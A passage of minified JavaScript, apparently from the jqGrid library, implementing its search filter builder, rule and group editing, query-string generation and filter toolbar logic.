!== true ) { ret = i; break; } } return ret; }, getLastVisibleCol : function( $t ) { var ret = -1; for(var i = $t.p.colModel.length - 1; i>=0; i--) { if($t.p.colModel[i].hidden !== true ) { ret = i; break; } } return ret; }, /* post data to server get or post without ajax */ postForm : function (path, params, method) { method = method || 'post'; var form = document.createElement('form'); form.setAttribute('method', method); form.setAttribute('action', path); for (var key in params) { if (params.hasOwnProperty(key)) { var hiddenField = document.createElement('input'); hiddenField.setAttribute('type', 'hidden'); hiddenField.setAttribute('name', key); hiddenField.setAttribute('value', params[key]); form.appendChild(hiddenField); } } document.body.appendChild(form); form.submit(); form.parentNode.removeChild(form); } }); //module begin $.fn.jqFilter = function( arg ) { if (typeof arg === 'string') { var fn = $.fn.jqFilter[arg]; if (!fn) { throw ("jqFilter - No such method: " + arg); } var args = $.makeArray(arguments).slice(1); return fn.apply(this,args); } var p = $.extend(true,{ filter: null, columns: [], sortStrategy: null, onChange : null, afterRedraw : null, checkValues : null, error: false, errmsg : "", errorcheck : true, showQuery : true, sopt : null, ops : [], operands : null, numopts : ['eq','ne', 'lt', 'le', 'gt', 'ge', 'nu', 'nn', 'in', 'ni'], stropts : ['eq', 'ne', 'bw', 'bn', 'ew', 'en', 'cn', 'nc', 'nu', 'nn', 'in', 'ni'], strarr : ['text', 'string', 'blob'], groupOps : [{ op: "AND", text: "AND" }, { op: "OR", text: "OR" }], groupButton : true, ruleButtons : true, uniqueSearchFields : false, direction : "ltr", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", autoencode : false, unaryOperations : [] }, $.jgrid.filter, arg || {}); return this.each( function() { if (this.filter) {return;} this.p = p; // setup filter in case if they is not defined if (this.p.filter === null || this.p.filter === undefined) { this.p.filter = { groupOp: this.p.groupOps[0].op, rules: [], groups: [] }; } // Sort the columns if the sort strategy is provided. if (this.p.sortStrategy != null && $.jgrid.isFunction(this.p.sortStrategy)) { this.p.columns.sort(this.p.sortStrategy); } var i, len = this.p.columns.length, cl, isIE = /msie/i.test(navigator.userAgent) && !window.opera; // translating the options this.p.initFilter = $.extend(true,{},this.p.filter); //this.p.initFilter = {}; // set default values for the columns if they are not set if( !len ) {return;} for(i=0; i < len; i++) { cl = this.p.columns[i]; if( cl.stype ) { // grid compatibility cl.inputtype = cl.stype; } else if(!cl.inputtype) { cl.inputtype = 'text'; } if( cl.sorttype ) { // grid compatibility cl.searchtype = cl.sorttype; } else if (!cl.searchtype) { cl.searchtype = 'string'; } if(cl.hidden === undefined) { // jqGrid compatibility cl.hidden = false; } if(!cl.label) { cl.label = cl.name; } if(cl.index) { cl.name = cl.index; } if(!cl.hasOwnProperty('searchoptions')) { cl.searchoptions = {}; } if(!cl.hasOwnProperty('searchrules')) { cl.searchrules = {}; } if(cl.search === undefined) { cl.inlist = true; } else { cl.inlist = cl.search; } } var getGrid = function () { return $("#" + $.jgrid.jqID(p.id))[0] || null; }, $tg = getGrid(), classes = $.jgrid.styleUI[($tg.p.styleUI || 'jQueryUI')].filter, common = $.jgrid.styleUI[($tg.p.styleUI || 'jQueryUI')].common; if(this.p.showQuery) { $(this).append("<table class='queryresult " + classes.table_widget + "' style='display:block;max-width:440px;border:0px none;' dir='"+this.p.direction+"'><tbody><tr><td class='query'></td></tr></tbody></table>"); } /* *Perform checking. * */ var checkData = function(val, colModelItem) { var ret = [true,""], $t = getGrid(); if($.jgrid.isFunction(colModelItem.searchrules)) { ret = colModelItem.searchrules.call($t, val, colModelItem); } else if($.jgrid && $.jgrid.checkValues) { try { ret = $.jgrid.checkValues.call($t, val, -1, colModelItem.searchrules, colModelItem.label); } catch (e) {} } if(ret && ret.length && ret[0] === false) { p.error = !ret[0]; p.errmsg = ret[1]; } }; /* moving to common randId = function() { return Math.floor(Math.random()*10000).toString(); }; */ this.onchange = function ( ){ // clear any error this.p.error = false; this.p.errmsg=""; return $.jgrid.isFunction(this.p.onChange) ? this.p.onChange.call( this, this.p ) : false; }; /* * Redraw the filter every time when new field is added/deleted * and field is changed */ this.reDraw = function() { $(this).find("table.group").first().remove(); var t = this.createTableForGroup(p.filter, null); $(this).append(t); if($.jgrid.isFunction(this.p.afterRedraw) ) { this.p.afterRedraw.call(this, this.p); } }; /* * Creates a grouping data for the filter * @param group - object * @param parentgroup - object */ this.createTableForGroup = function(group, parentgroup) { var that = this, i; // this table will hold all the group (tables) and rules (rows) var table = $("<table class='group " + classes.table_widget +" ui-search-table' style='border:0px none;'><tbody></tbody></table>"), // create error message row align = "left"; if(this.p.direction === "rtl") { align = "right"; table.attr("dir","rtl"); } if(parentgroup === null) { table.append("<tr class='error' style='display:none;'><th colspan='5' class='" + common.error + "' align='"+align+"'></th></tr>"); } var tr = $("<tr></tr>"); table.append(tr); // this header will hold the group operator type and group action buttons for // creating subgroup "+ {}", creating rule "+" or deleting the group "-" var th = $("<th colspan='5' align='"+align+"'></th>"); tr.append(th); if(this.p.ruleButtons === true) { // dropdown for: choosing group operator type var groupOpSelect = $("<select size='1' name='select_group_op' class='opsel " + classes.srSelect + "'></select>"); th.append(groupOpSelect); // populate dropdown with all posible group operators: or, and var str= "", selected; for (i = 0; i < p.groupOps.length; i++) { selected = group.groupOp === that.p.groupOps[i].op ? " selected='selected'" :""; str += "<option value='"+that.p.groupOps[i].op+"'" + selected+">"+that.p.groupOps[i].text+"</option>"; } groupOpSelect .append(str) .on('change',function() { group.groupOp = $(groupOpSelect).val(); that.onchange(); // signals that the filter has changed }); } // button for adding a new subgroup var inputAddSubgroup ="<span></span>"; if(this.p.groupButton) { inputAddSubgroup = $("<input type='button' value='+ {}' title='" +that.p.addsubgrup+"' class='add-group " + common.button + "' name='newsubgroup'/>"); inputAddSubgroup.on('click',function() { if (group.groups === undefined ) { group.groups = []; } group.groups.push({ groupOp: p.groupOps[0].op, rules: [], groups: [] }); // adding a new group that.reDraw(); // the html has changed, force reDraw that.onchange(); // signals that the filter has changed return false; }); } th.append(inputAddSubgroup); if(this.p.ruleButtons === true) { // button for adding a new rule var inputAddRule = $("<input type='button' value='+' title='"+that.p.addrule+"' class='add-rule ui-add " + common.button + "'/ name='newrule'>"), cm; inputAddRule.on('click',function() { //if(!group) { group = {};} if (group.rules === undefined) { group.rules = []; } for (i = 0; i < that.p.columns.length; i++) { // but show only serchable and serchhidden = true fields var searchable = (that.p.columns[i].search === undefined) ? true: that.p.columns[i].search, hidden = (that.p.columns[i].hidden === true), ignoreHiding = (that.p.columns[i].searchoptions.searchhidden === true); if ((ignoreHiding && searchable) || (searchable && !hidden)) { cm = that.p.columns[i]; break; } } if( !cm ) { return false; } var opr; if( cm.searchoptions.sopt ) {opr = cm.searchoptions.sopt;} else if(that.p.sopt) { opr= that.p.sopt; } else if ( $.inArray(cm.searchtype, that.p.strarr) !== -1 ) {opr = that.p.stropts;} else {opr = that.p.numopts;} group.rules.push({ field: cm.name, op: opr[0], data: "" }); // adding a new rule that.reDraw(); // the html has changed, force reDraw // for the moment no change have been made to the rule, so // this will not trigger onchange event return false; }); th.append(inputAddRule); } // button for delete the group if (parentgroup !== null) { // ignore the first group var inputDeleteGroup = $("<input type='button' value='-' title='"+that.p.delgroup+"' class='delete-group " + common.button + "'/ name='delgroup'>"); th.append(inputDeleteGroup); inputDeleteGroup.on('click',function() { // remove group from parent for (i = 0; i < parentgroup.groups.length; i++) { if (parentgroup.groups[i] === group) { parentgroup.groups.splice(i, 1); break; } } that.reDraw(); // the html has changed, force reDraw that.onchange(); // signals that the filter has changed return false; }); } // append subgroup rows if (group.groups !== undefined) { for (i = 0; i < group.groups.length; i++) { var trHolderForSubgroup = $("<tr></tr>"); table.append(trHolderForSubgroup); var tdFirstHolderForSubgroup = $("<td class='first'></td>"); trHolderForSubgroup.append(tdFirstHolderForSubgroup); var tdMainHolderForSubgroup = $("<td colspan='4'></td>"); tdMainHolderForSubgroup.append(this.createTableForGroup(group.groups[i], group)); trHolderForSubgroup.append(tdMainHolderForSubgroup); } } if(group.groupOp === undefined) { group.groupOp = that.p.groupOps[0].op; } // append rules rows var suni = that.p.ruleButtons && that.p.uniqueSearchFields, ii; if( suni ) { for ( ii = 0; ii < that.p.columns.length; ii++) { if(that.p.columns[ii].inlist) { that.p.columns[ii].search = true; } } } if (group.rules !== undefined) { for (i = 0; i < group.rules.length; i++) { table.append( this.createTableRowForRule(group.rules[i], group) ); if( suni ) { var field = group.rules[i].field; for ( ii = 0; ii < that.p.columns.length; ii++) { if(field === that.p.columns[ii].name) { that.p.columns[ii].search = false; break; } } } } } return table; }; /* * Create the rule data for the filter */ this.createTableRowForRule = function(rule, group ) { // save current entity in a variable so that it could // be referenced in anonimous method calls var that=this, $t = getGrid(), tr = $("<tr></tr>"), //document.createElement("tr"), // first column used for padding //tdFirstHolderForRule = document.createElement("td"), i, op, trpar, cm, str="", selected; //tdFirstHolderForRule.setAttribute("class", "first"); tr.append("<td class='first'></td>"); // create field container var ruleFieldTd = $("<td class='columns'></td>"); tr.append(ruleFieldTd); // dropdown for: choosing field var ruleFieldSelect = $("<select size='1' name='select_field' class='" + classes.srSelect + "'></select>"), ina, aoprs = []; ruleFieldTd.append(ruleFieldSelect); ruleFieldSelect.on('change',function() { if( that.p.ruleButtons && that.p.uniqueSearchFields ) { var prev = parseInt($(this).data('curr'),10), curr = this.selectedIndex; if(prev >= 0 ) { that.p.columns[prev].search = true; $(this).data('curr', curr); that.p.columns[curr].search = false; } } rule.field = $(ruleFieldSelect).val(); trpar = $(this).parents("tr").first(); $(".data",trpar).empty(); for (i=0;i<that.p.columns.length;i++) { if(that.p.columns[i].name === rule.field) { cm = that.p.columns[i]; break; } } if(!cm) {return;} cm.searchoptions.id = $.jgrid.randId(); cm.searchoptions.name = rule.field; cm.searchoptions.oper = 'filter'; if(isIE && cm.inputtype === "text") { if(!cm.searchoptions.size) { cm.searchoptions.size = 10; } } var elm = $.jgrid.createEl.call($t, cm.inputtype,cm.searchoptions, "", true, that.p.ajaxSelectOptions || {}, true); $(elm).addClass("input-elm " + (cm.inputtype === 'select' ? classes.srSelect : classes.srInput) ); //that.createElement(rule, ""); if( cm.searchoptions.sopt ) {op = cm.searchoptions.sopt;} else if(that.p.sopt) { op= that.p.sopt; } else if ($.inArray(cm.searchtype, that.p.strarr) !== -1) {op = that.p.stropts;} else {op = that.p.numopts;} // operators var s ="", so = 0; aoprs = []; $.each(that.p.ops, function() { aoprs.push(this.oper); }); for ( i = 0 ; i < op.length; i++) { ina = $.inArray(op[i],aoprs); if(ina !== -1) { if(so===0) { rule.op = that.p.ops[ina].oper; } s += "<option value='"+that.p.ops[ina].oper+"'>"+that.p.ops[ina].text+"</option>"; so++; } } $(".selectopts",trpar).empty().append( s ); $(".selectopts",trpar)[0].selectedIndex = 0; if( $.jgrid.msie() && $.jgrid.msiever() < 9) { var sw = parseInt($("select.selectopts",trpar)[0].offsetWidth, 10) + 1; $(".selectopts",trpar).width( sw ); $(".selectopts",trpar).css("width","auto"); } // data $(".data",trpar).append( elm ); $.jgrid.bindEv.call($t, elm, cm.searchoptions); $(".input-elm",trpar).on('change',function( e ) { var elem = e.target; if( cm.inputtype === 'custom' && $.jgrid.isFunction(cm.searchoptions.custom_value) ) { rule.data = cm.searchoptions.custom_value.call($t, $(".customelement", this), 'get'); } else { rule.data = $(elem).val(); } if(cm.inputtype === 'select' && cm.searchoptions.multiple ) { rule.data = rule.data.join(","); } that.onchange(); // signals that the filter has changed }); setTimeout(function(){ //IE, Opera, Chrome rule.data = $(elm).val(); if(rule.op === 'nu' || rule.op === 'nn' || $.inArray(rule.op, that.p.unaryOperations) >=0 ) { $(elm).attr('readonly','true'); $(elm).attr('disabled','true'); } if(cm.inputtype === 'select' && cm.searchoptions.multiple && Array.isArray(rule.data)) { rule.data = rule.data.join(","); } that.onchange(); // signals that the filter has changed }, 0); }); // populate drop down with user provided column definitions var j=0; for (i = 0; i < that.p.columns.length; i++) { // but show only serchable and serchhidden = true fields var searchable = (that.p.columns[i].search === undefined) ? true: that.p.columns[i].search, hidden = (that.p.columns[i].hidden === true), ignoreHiding = (that.p.columns[i].searchoptions.searchhidden === true); if ((ignoreHiding && searchable) || (searchable && !hidden)) { selected = ""; if(rule.field === that.p.columns[i].name) { selected = " selected='selected'"; j=i; } str += "<option value='"+that.p.columns[i].name+"'" +selected+">"+that.p.columns[i].label+"</option>"; } } ruleFieldSelect.append( str ); ruleFieldSelect.data('curr', j); // create operator container var ruleOperatorTd = $("<td class='operators'></td>"); tr.append(ruleOperatorTd); cm = p.columns[j]; // create it here so it can be referentiated in the onchange event //var RD = that.createElement(rule, rule.data); cm.searchoptions.id = $.jgrid.randId(); if(isIE && cm.inputtype === "text") { if(!cm.searchoptions.size) { cm.searchoptions.size = 10; } } cm.searchoptions.name = rule.field; cm.searchoptions.oper = 'filter'; var ruleDataInput = $.jgrid.createEl.call($t, cm.inputtype,cm.searchoptions, rule.data, true, that.p.ajaxSelectOptions || {}, true); if(rule.op === 'nu' || rule.op === 'nn' || $.inArray(rule.op, that.p.unaryOperations) >=0 ) { $(ruleDataInput).attr('readonly','true'); $(ruleDataInput).attr('disabled','true'); } //retain the state of disabled text fields in case of null ops // dropdown for: choosing operator var ruleOperatorSelect = $("<select size='1' name='select_oper' class='selectopts " + classes.srSelect + "'></select>"); ruleOperatorTd.append(ruleOperatorSelect); ruleOperatorSelect.on('change',function() { rule.op = $(ruleOperatorSelect).val(); trpar = $(this).parents("tr").first(); var rd = $(".input-elm",trpar)[0]; if (rule.op === "nu" || rule.op === "nn" || $.inArray(rule.op, that.p.unaryOperations) >= 0 ) { // disable for operator "is null" and "is not null" rule.data = ""; if(rd.tagName.toUpperCase() !== 'SELECT') { rd.value = ""; } rd.setAttribute("readonly", "true"); rd.setAttribute("disabled", "true"); } else { if(rd.tagName.toUpperCase() === 'SELECT') { rule.data = rd.value; } rd.removeAttribute("readonly"); rd.removeAttribute("disabled"); } that.onchange(); // signals that the filter has changed }); // populate drop down with all available operators if( cm.searchoptions.sopt ) {op = cm.searchoptions.sopt;} else if(that.p.sopt) { op= that.p.sopt; } else if ($.inArray(cm.searchtype, that.p.strarr) !== -1) {op = that.p.stropts;} else {op = that.p.numopts;} str=""; $.each(that.p.ops, function() { aoprs.push(this.oper); }); for ( i = 0; i < op.length; i++) { ina = $.inArray(op[i],aoprs); if(ina !== -1) { selected = rule.op === that.p.ops[ina].oper ? " selected='selected'" : ""; str += "<option value='"+that.p.ops[ina].oper+"'"+selected+">"+that.p.ops[ina].text+"</option>"; } } ruleOperatorSelect.append( str ); // create data container var ruleDataTd = $("<td class='data'></td>"); tr.append(ruleDataTd); // textbox for: data // is created previously //ruleDataInput.setAttribute("type", "text"); ruleDataTd.append(ruleDataInput); $.jgrid.bindEv.call($t, ruleDataInput, cm.searchoptions); $(ruleDataInput) .addClass("input-elm " + (cm.inputtype === 'select' ? classes.srSelect : classes.srInput) ) .on('change', function() { rule.data = cm.inputtype === 'custom' ? cm.searchoptions.custom_value.call($t, $(".customelement", this),'get') : $(this).val(); that.onchange(); // signals that the filter has changed }); // create action container var ruleDeleteTd = $("<td></td>"); tr.append(ruleDeleteTd); // create button for: delete rule if(this.p.ruleButtons === true) { var ruleDeleteInput = $("<input type='button' value='-' title='"+that.p.delrule+"' class='delete-rule ui-del " + common.button + "'/ name='delrule'>"); ruleDeleteTd.append(ruleDeleteInput); //$(ruleDeleteInput).html("").height(20).width(30).button({icons: { primary: "ui-icon-minus", text:false}}); ruleDeleteInput.on('click',function() { // remove rule from group for (i = 0; i < group.rules.length; i++) { if (group.rules[i] === rule) { group.rules.splice(i, 1); break; } } that.reDraw(); // the html has changed, force reDraw that.onchange(); // signals that the filter has changed return false; }); } return tr; }; this.getStringForGroup = function(group) { var s = "(", index; if (group.groups !== undefined) { for (index = 0; index < group.groups.length; index++) { if (s.length > 1) { s += " " + group.groupOp + " "; } try { s += this.getStringForGroup(group.groups[index]); } catch (eg) {alert(eg);} } } if (group.rules !== undefined) { try{ for (index = 0; index < group.rules.length; index++) { if (s.length > 1) { s += " " + group.groupOp + " "; } s += this.getStringForRule(group.rules[index]); } } catch (e) {alert(e);} } s += ")"; if (s === "()") { return ""; // ignore groups that don't have rules } return s; }; this.getStringForRule = function(rule) { var opUF = "",opC="", i, cm, ret, val, numtypes = ['int', 'integer', 'float', 'number', 'currency']; // jqGrid for (i = 0; i < this.p.ops.length; i++) { if (this.p.ops[i].oper === rule.op) { opUF = this.p.operands.hasOwnProperty(rule.op) ? this.p.operands[rule.op] : ""; opC = this.p.ops[i].oper; break; } } for (i=0; i<this.p.columns.length; i++) { if(this.p.columns[i].name === rule.field) { cm = this.p.columns[i]; break; } } if (cm === undefined) { return ""; } val = this.p.autoencode ? $.jgrid.htmlEncode(rule.data) : rule.data; if(opC === 'bw' || opC === 'bn') { val = val+"%"; } if(opC === 'ew' || opC === 'en') { val = "%"+val; } if(opC === 'cn' || opC === 'nc') { val = "%"+val+"%"; } if(opC === 'in' || opC === 'ni') { val = " ("+val+")"; } if(p.errorcheck) { checkData(rule.data, cm); } if($.inArray(cm.searchtype, numtypes) !== -1 || opC === 'nn' || opC === 'nu' || $.inArray(rule.op, this.p.unaryOperations) >= 0 ) { ret = rule.field + " " + opUF + " " + val; } else { ret = rule.field + " " + opUF + " \"" + val + "\""; } return ret; }; this.resetFilter = function () { this.p.filter = $.extend(true,{},this.p.initFilter); this.reDraw(); this.onchange(); }; this.hideError = function() { $("th."+common.error, this).html(""); $("tr.error", this).hide(); }; this.showError = function() { $("th."+common.error, this).html( $.jgrid.stripScript( this.p.errmsg )); $("tr.error", this).show(); }; this.toUserFriendlyString = function() { return this.getStringForGroup(p.filter); }; this.toString = function() { // this will obtain a string that can be used to match an item. var that = this; function getStringRule(rule) { if(that.p.errorcheck) { var i, cm; for (i=0; i<that.p.columns.length; i++) { if(that.p.columns[i].name === rule.field) { cm = that.p.columns[i]; break; } } if(cm) {checkData(rule.data, cm);} } return rule.op + "(item." + rule.field + ",'" + rule.data + "')"; } function getStringForGroup(group) { var s = "(", index; if (group.groups !== undefined) { for (index = 0; index < group.groups.length; index++) { if (s.length > 1) { if (group.groupOp === "OR") { s += " || "; } else { s += " && "; } } s += getStringForGroup(group.groups[index]); } } if (group.rules !== undefined) { for (index = 0; index < group.rules.length; index++) { if (s.length > 1) { if (group.groupOp === "OR") { s += " || "; } else { s += " && "; } } s += getStringRule(group.rules[index]); } } s += ")"; if (s === "()") { return ""; // ignore groups that don't have rules } return s; } return getStringForGroup(this.p.filter); }; // Here we init the filter this.reDraw(); if(this.p.showQuery) { this.onchange(); } // mark is as created so that it will not be created twice on this element this.filter = true; }); }; $.extend($.fn.jqFilter,{ /* * Return SQL like string. Can be used directly */ toSQLString : function() { var s =""; this.each(function(){ s = this.toUserFriendlyString(); }); return s; }, /* * Return filter data as object. */ filterData : function() { var s; this.each(function(){ s = this.p.filter; }); return s; }, getParameter : function (param) { var ret = null; if(param !== undefined) { this.each(function(i,n){ if (n.p.hasOwnProperty(param) ) { ret = n.p[param]; } }); } return ret ? ret : this[0].p; }, resetFilter: function() { return this.each(function(){ this.resetFilter(); }); }, addFilter: function (pfilter) { if (typeof pfilter === "string") { pfilter = $.jgrid.parse( pfilter ); } this.each(function(){ this.p.filter = pfilter; this.reDraw(); this.onchange(); }); } }); $.extend($.jgrid,{ filterRefactor : function ( p ) { /*ruleGroup : {}, ssfield:[], splitSelect:",", groupOpSelect:"OR"*/ var filters={} /*?*/, rules, k, rule, ssdata, group, rf; try { filters = typeof p.ruleGroup === "string" ? $.jgrid.parse(p.ruleGroup) : p.ruleGroup; if(filters.rules && filters.rules.length) { rules = filters.rules; for(k=0; k < rules.length; k++) { rule = rules[k]; rf = rule.field; if($.inArray(rf, p.ssfield) > -1 ) { ssdata = rule.data.split(p.splitSelect); if(ssdata.length > 1) { if(filters.groups === undefined) { filters.groups = []; } group = { groupOp: p.groupOpSelect, groups: [], rules: [] }; filters.groups.push(group); $.each(ssdata,function(l) { if (ssdata[l]) { group.rules.push({ data: ssdata[l], op: rule.op, field: rule.field}); } }); rules.splice(k, 1); k--; } } } } } catch(e) {} return filters; } }); $.jgrid.extend({ filterToolbar : function(p){ var regional = $.jgrid.getRegional(this[0], 'search'); p = $.extend({ autosearch: true, autosearchDelay: 500, searchOnEnter : true, beforeSearch: null, afterSearch: null, beforeClear: null, afterClear: null, onClearSearchValue : null, url : '', stringResult: false, groupOp: 'AND', defaultSearch : "bw", searchOperators : false, resetIcon : "x", splitSelect : ",", groupOpSelect : "OR", errorcheck : true, operands : { "eq" :"==", "ne":"!","lt":"<","le":"<=","gt":">","ge":">=","bw":"^","bn":"!^","in":"=","ni":"!=","ew":"|","en":"!@","cn":"~","nc":"!~","nu":"#","nn":"!#", "bt":"..."}, disabledKeys : [9, 16, 17,18,19, 20, 33, 34, 35,36,37,38,39,40,30, 45,112,113,114,115,116,117,118,119,120,121,122,123, 144, 145] }, regional , p || {}); return this.each(function(){ var $t = this, unaryOpers=[]; if($t.p.filterToolbar) { return; } if(!$($t).data('filterToolbar')) { $($t).data('filterToolbar', p); } if($t.p.force_regional) { p = $.extend(p, regional); } if ($t.p.customFilterDef !== undefined) { for(var uskey in $t.p.customFilterDef) { if($t.p.customFilterDef.hasOwnProperty(uskey) && !p.operands.hasOwnProperty(uskey) ) { p.odata.push({ oper: uskey, text: $t.p.customFilterDef[uskey].text} ); p.operands[uskey] = $t.p.customFilterDef[uskey].operand; if($t.p.customFilterDef[uskey].unary === true) { unaryOpers.push(uskey); } } } } var classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].filter, common = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].common, base = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].base, triggerToolbar = function( currentPage) { if(typeof(currentPage) === "undefined"){ currentPage = 1; } var sdata={}, j=0, v, nm, sopt={},so, ms = false, ssfield = [], msfield = [], afrcol={}, arcustom=[], bbt =false, sop, ret=[true,"",""], err=false; $.each($t.p.colModel,function(){ var $elem, fcol = false; nm = this.index || this.name; sop = this.searchoptions || {}; if(this.frozen===true && $t.p.frozenColumns === true) { $elem = $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(this.name), $t.grid.fhDiv ); fcol = true; } else { $elem = $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(this.name), $t.grid.hDiv); } //var $elem = $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(this.name), ? $t.grid.fhDiv : $t.grid.hDiv); // in case frozen col is outside the rule list if($elem[0] === undefined) { $elem = $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(this.name), $t.grid.hDiv); } if(p.searchOperators && sop.searchOperMenu) { so = $elem.parents("table.ui-search-table").find("td.ui-search-oper").children("a").attr("soper") || p.defaultSearch; } else { so = (sop.sopt) ? sop.sopt[0] : this.stype==='select' ? 'eq' : p.defaultSearch; } if( this.stype === "custom" && $.jgrid.isFunction(sop.custom_value) && $elem.length > 0 ) { v = sop.custom_value.call($t, $elem, "get"); arcustom.push(nm); } else { v = $elem.val(); } // detect multiselect if(this.stype === 'select' && sop.multiple && Array.isArray(v)) { if(v.length > 0) { ms = true; ssfield.push(nm); v= v.length === 1 ? v[0] : v; } else { v = ""; } } else if( so !== "bt" && this.stype === 'text' && sop.splitSearchWord === true) { msfield.push(nm); } if(this.searchrules && p.errorcheck) { if($.jgrid.isFunction( this.searchrules)) { ret = this.searchrules.call($t, v, this); } else if($.jgrid && $.jgrid.checkValues) { ret = $.jgrid.checkValues.call($t, v, -1, this.searchrules, this.label || this.name); } if(ret && ret.length && ret[0] === false ) { if(this.searchrules.hasOwnProperty('validationError') ){ err = this.searchrules.validationError; } return false; } } if(so==="bt") { bbt = true; } if(fcol && (nm !== 'cb' && nm!== 'rn' && nm !== 'subgrid' && nm !== 'sc') ) { afrcol[nm] = v; } if(v || so==="nu" || so==="nn" || $.inArray(so, unaryOpers) >=0) { sdata[nm] = v; sopt[nm] = so; j++; } else { try { delete $t.p.postData[nm]; } catch (z) {} } }); if(ret[0] === false ) { if($.jgrid.isFunction(err)) { err.call($t, ret[1]); } else { var errors = $.jgrid.getRegional($t, 'errors'); $.jgrid.info_dialog(errors.errcap, ret[1], '', {styleUI : $t.p.styleUI }); } return; } var sd = j>0 ? true : false; if(p.stringResult === true || $t.p.datatype === "local" || p.searchOperators === true) { var ruleGroup = "{\"groupOp\":\"" + p.groupOp + "\",\"rules\":["; var gi=0; $.each(sdata,function(i,n){ if (gi > 0) {ruleGroup += ",";} ruleGroup += "{\"field\":\"" + i + "\","; ruleGroup += "\"op\":\"" + sopt[i] + "\","; n+=""; ruleGroup += "\"data\":\"" + n.replace(/\\/g,'\\\\').replace(/\"/g,'\\"') + "\"}"; gi++; }); ruleGroup += "]}"; // multiselect var filters, rules, k, rule, ssdata, group; if(ms) { filters = $.jgrid.filterRefactor({ ruleGroup : ruleGroup, ssfield : ssfield, splitSelect : p.splitSelect, groupOpSelect : p.groupOpSelect }); //ruleGroup = JSON.stringify( filters ); } if(bbt) { if(!$.isPlainObject(filters)) { filters = $.jgrid.parse(ruleGroup); } if(filters.rules && filters.rules.length) { rules = filters.rules; for(k=0;k < rules.length; k++) { rule = rules[k]; if(rule.op === "bt") { ssdata = rule.data.split("..."); if(ssdata.length > 1) { if(filters.groups === undefined) { filters.groups = []; } group = { groupOp: 'AND', groups: [], rules: [] }; filters.groups.push(group); $.each(ssdata,function(l) { var btop = l === 0 ? 'ge' : 'le'; if(ssdata[l]) { group.rules.push({ data: ssdata[l], op: btop, field: rule.field}); } }); rules.splice(k, 1); k--; } } } } } if( msfield.length ) { filters = $.jgrid.filterRefactor({ ruleGroup : ruleGroup, ssfield : msfield, splitSelect : sop.splitSearchSeparator || ";", groupOpSelect : "OR" }); } if(bbt || ms || msfield.length) { ruleGroup = JSON.stringify( filters ); } if($t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('filterToolbar') && $t.p.searchModules.filterToolbar !== false ) { if(gi > 0) { $t.p.searchModules.filterToolbar = ruleGroup; } else { $t.p.searchModules.filterToolbar = null; } sd = true; $.extend($t.p.postData,{filters: $.jgrid.splitSearch($t.p.searchModules)}); } else { $.extend($t.p.postData,{filters:ruleGroup}); } $.each(['searchField', 'searchString', 'searchOper'], function(i, n){ if($t.p.postData.hasOwnProperty(n)) { delete $t.p.postData[n];} }); } else { $.extend($t.p.postData,sdata); } var saveurl; if(p.url) { saveurl = $t.p.url; $($t).jqGrid("setGridParam", { url: p.url }); } var bsr = $($t).triggerHandler("jqGridToolbarBeforeSearch") === 'stop' ? true : false; if(!bsr && $.jgrid.isFunction(p.beforeSearch)){bsr = p.beforeSearch.call($t);} if(!bsr) { $($t).jqGrid("setGridParam",{search:sd}).trigger("reloadGrid",[ { page: currentPage } ] ); } if(saveurl) {$($t).jqGrid("setGridParam",{url:saveurl});} $($t).triggerHandler("jqGridToolbarAfterSearch"); if($.jgrid.isFunction(p.afterSearch)){p.afterSearch.call($t);} if($t.p.frozenColumns) { setToolbarFozenVal(afrcol,sopt,ssfield, arcustom ); } }, clearToolbar = function(trigger){ var sdata={}, so={}, j=0, nm, $elem, v; trigger = (typeof trigger !== 'boolean') ? true : trigger; $.each($t.p.colModel,function(){ $elem = $("#gs_"+$t.p.idPrefix+$.jgrid.jqID(this.name),(this.frozen===true && $t.p.frozenColumns === true) ? $t.grid.fhDiv : $t.grid.hDiv); if(this.searchoptions && this.searchoptions.defaultValue !== undefined) { v = this.searchoptions.defaultValue; } else { v = undefined; } nm = this.index || this.name; so[nm] = this.searchoptions && this.searchoptions.sopt ? this.searchoptions.sopt[0] : p.defaultSearch || 'eq'; switch (this.stype) { case 'select' : $elem.find("option").each(function (i){ if(i===0) { this.selected = true; } if ($(this).val() === v) { this.selected = true; return false; } }); if ( v !== undefined ) { // post the key and not the text sdata[nm] = v; j++; } else { try { delete $t.p.postData[nm]; } catch(e) {} } break; case 'text': $elem.val(v || ""); if(v !== undefined) { sdata[nm] = v; j++; } else { try { delete $t.p.postData[nm]; } catch (y){} } break; case 'custom': if ($.jgrid.isFunction(this.searchoptions.custom_value) && $elem.length > 0 ) { this.searchoptions.custom_value.call($t, $elem, "set", v || ""); } break; } }); var sd = j>0 ? true : false; $t.p.resetsearch = true; if(p.stringResult === true || $t.p.datatype === "local") { var ruleGroup = "{\"groupOp\":\"" + p.groupOp + "\",\"rules\":["; var gi=0; $.each(sdata,function(i,n){ if (gi > 0) {ruleGroup += ",";} ruleGroup += "{\"field\":\"" + i + "\","; ruleGroup += "\"op\":\"" + so[i] + "\","; n+=""; ruleGroup += "\"data\":\"" + n.replace(/\\/g,'\\\\').replace(/\"/g,'\\"') + "\"}"; gi++; if(p.searchOperators) { $elem = $("#gs_"+$t.p.idPrefix+$.jgrid.jqID(i),(this.frozen===true && $t.p.frozenColumns === true) ? $t.grid.fhDiv : $t.grid.hDiv); $elem.parents("table.ui-search-table").find("td.ui-search-oper").children("a").attr("soper", so[i]).html(p.operands[so[i]]); } }); ruleGroup += "]}"; if($t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('filterToolbar') && $t.p.searchModules.filterToolbar !== false ) { if(gi > 0) { $t.p.searchModules.filterToolbar = ruleGroup; } else { $t.p.searchModules.filterToolbar = null; } sd = true; $.extend($t.p.postData,{filters: $.jgrid.splitSearch($t.p.searchModules)}); } else { $.extend($t.p.postData,{filters:ruleGroup}); } $.each(['searchField', 'searchString', 'searchOper'], function(i, n){ if($t.p.postData.hasOwnProperty(n)) { delete $t.p.postData[n];} }); } else { $.extend($t.p.postData,sdata); } var saveurl; if(p.url) { saveurl = $t.p.url; $($t).jqGrid("setGridParam",{url:p.url}); } var bcv = 